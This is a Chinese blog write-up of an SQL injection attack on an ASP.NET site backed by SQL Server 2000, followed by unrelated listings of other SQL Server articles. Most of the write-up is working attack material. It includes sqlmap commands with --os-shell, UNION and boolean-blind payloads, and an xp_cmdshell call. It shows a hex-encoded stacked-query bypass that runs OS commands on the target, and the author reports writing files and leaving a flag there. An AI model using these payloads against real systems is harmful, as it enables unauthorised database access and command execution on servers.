【sql server inject】使用动态查询执行sql语句实例

应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉; 
分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?

正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!

为了简化测试步骤,所以文章分为5次进行记录;

0x1 sqlmap常用语句测试

测试1目的:执行cmd命令
测试1结果,测试初期无法连接;

-----------------------------------------------------

     C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
    aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell
    回显数据包【LOG】文件
    ---
    Parameter:KeyWord(GET)
    Type:boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:KeyName=1&KeyWord=1%‘ AND 1799=1799 AND ‘%‘=‘
    ---
    [00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server
    web server operating system:Windows2003or XP
    web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727
    back-end DBMS:Microsoft SQL Server2000
    [00:26:38][CRITICAL] unable to prompt for an interactive operating system shell
    via the back-end DBMS because stacked queries SQL injection isnot supported

测试2目的:执行获取数据库名;
测试2结果:获取成功,判断是某个关键字被过滤了。

-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs

回显数据包 【LOG】文件

---
Parameter: KeyWord (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: KeyName=1&KeyWord=1%‘ AND 1799=1799 AND ‘%‘=‘
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] w**er

0x2 手工测试关键字过滤情况

测试3目的:获取数据库名
测试3结果:执行成功;

-----------------------------------------------------

http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%‘ UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -

测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
测试4结果:无法连接服务器,返回404页面;

-----------------------------------------------------

 ;EXEC master..xp_cmdshell ‘net user‘-- -

测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了

-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%‘ UNION ALL SELECT 1,‘xp
_shell’,3,4,5-- -

测试目标报出的错误;

    “/”应用程序中的服务器错误。
    在关键字‘And‘附近有语法错误。
    说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
    异常详细信息:System.Exception:在关键字‘And‘附近有语法错误。

解决:尝试用declare设置十六进制绕过;
本地测试:

-------------------
    declare @a sysname
    [email protected]=
    exec master.dbo.xp_cmdshell @a

本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:

     SELECT TOP 2[id]
    ,[name]
    FROM [personnel].[dbo].[management];declare @a sysname [email protected]=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;

本地测试结果见tu1.jpg

测试结果:目标无回显,但执行写入文件的命令是成功了。

http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -

留下旗标;

时间: 2024-09-30 14:22:32

【sql server inject】使用动态查询执行sql语句实例的相关文章

理解性能的奥秘——应用程序中慢,SSMS中快(6)——SQL Server如何编译动态SQL

本文属于<理解性能的奥秘--应用程序中慢,SSMS中快>系列 接上文:理解性能的奥秘--应用程序中慢,SSMS中快(5)--案例:如何应对参数嗅探 我们抛开参数嗅探的话题,回到了本系列的最初关注点中:为什么语句在应用程序中慢,但是在SSMS中快?到目前为止,都是在说存储过程的情况.而存储过程的问题通常是因为SET ARITHABORT的不同设置项的原因.如果你的应用不使用存储过程,而是通过中间层提交客户端的查询,那么也有几个原因可能让你的查询因为不同的缓存条目从而使得在SSMS和应用程序中的运

在SQL Server 2016里使用查询存储进行性能调优

作为一个DBA,排除SQL Server问题是我们的职责之一,每个月都有很多人给我们带来各种不能解释却要解决的性能问题. 我就多次听到,以前的SQL Server的性能问题都还好且在正常范围内,但现在一切已经改变,SQL Server开始糟糕, 疯狂的事情不能解释.在这个情况下我介入,分析下整个SQL Server的安装,最后用一些神奇的调查方法找出性能问题的根源. 但很多时候问题的根源是一样的:所谓的计划回归(Plan Regression),即特定查询的执行计划已经改变.昨天SQL Serv

SQL Server 性能调优 之执行计划(Execution Plan)调优

执行计划中的三种 Join 策略 SQL Server 存在三种 Join 策略:Hash Join,Merge Join,Nested Loop Join. Hash Join:用来处理没有排过序/没有索引的数据,它在内存中把 Join 两边数据(的关联key)分别建立一个哈希表.例如有以下的查询语句,关联的两张表没有建立索引,执行计划将显示为Hash Join. SELECT sh.* FROM SalesOrdHeaderDemo AS sh JOIN SalesOrdDetailDemo

Querying Microsoft SQL Server 2012 读书笔记:查询和管理XML数据 1 -使用FOR XML返回XML结果集

原文:Querying Microsoft SQL Server 2012 读书笔记:查询和管理XML数据 1 -使用FOR XML返回XML结果集 XML 介绍 <CustomersOrders> <Customer custid="1" companyname="Customer NRZBB"> <Order orderid="10692" orderdate="2007-10-03T00:00:00&

Querying Microsoft SQL Server 2012 读书笔记:查询和管理XML数据 2 -使用XQuery 查询XML数据

原文:Querying Microsoft SQL Server 2012 读书笔记:查询和管理XML数据 2 -使用XQuery 查询XML数据 XQuery 是一个浏览/返回XML实例的标准语言. 它比老的只能简单处理节点的XPath表达式更丰富. 你可以同XPath一样使用.或是遍历所有节点,塑造XML实例的返回等. 作为一个查询语言, 你需要一个查询处理引擎. SQL Server 数据库通过XML数据类型方法的T-SQL 语句来处理XQuery. SQL Server 并不支持所有的X

SQL Server中的分页查询 select top

SQL Server中的分页查询 https://blog.csdn.net/tswc_byy/article/details/82053091 零.码仙励志 比我差的人还没放弃,比我好的人仍在努力,我就更没资格说我无能为力 一.建库和建表 create database scort use scort create table emp ( empno int primary key, ename nvarchar(10), sal int, deptno int ) insert into e

SQL Server中一些有用的日期sql语句

1.一个月第一天的 SELECT DATEADD(mm, DATEDIFF(mm,0,getdate()), 0) 2.本周的星期一 SELECT DATEADD(wk, DATEDIFF(wk,0,getdate()), 0) 3.一年的第一天 SELECT DATEADD(yy, DATEDIFF(yy,0,getdate()), 0) 4.季度的第一天 SELECT DATEADD(qq, DATEDIFF(qq,0,getdate()), 0) 5.当天的半夜 SELECT DATEAD

SQL Server中存储过程 比 直接运行SQL语句慢的原因

问题是存储过程的Parameter sniffing 在很多的资料中都描述说SQLSERVER的存储过程较普通的SQL语句有以下优点: 1. 存储过程只在创造时进行编译即可,以后每次执行存储过程都不需再重新编译,而我们通常使用的SQL语句每执行一次就编译一次,所以使用存储过程可提高数据库执行速度. 2. 经常会遇到复杂的业务逻辑和对数据库的操作,这个时候就会用SP来封装数据库操作.当对数据库进行复杂操作时(如对多个表进行 Update,Insert,Query,Delete时),可将此复杂操作用

SQL Server代理(8/12):使用SQL Server代理外部程序

SQL Server代理是所有实时数据库的核心.代理有很多不明显的用法,因此系统的知识,对于开发人员还是DBA都是有用的.这系列文章会通俗介绍它的很多用法. 在这个系列的上篇文章里,你学习如何使用SQL Server代理作业活动监视器监视作业活动和查看作业历史.对于你的SQL Server代理作业进行实时监视和管理,作业活动管理器是个强大的工具.在这个系列的第8篇文章里,你会回顾SQL Server代理的另一个功能——运行操作系统命令行,在SQL Server外围环境运行程序.一些程序是命令行(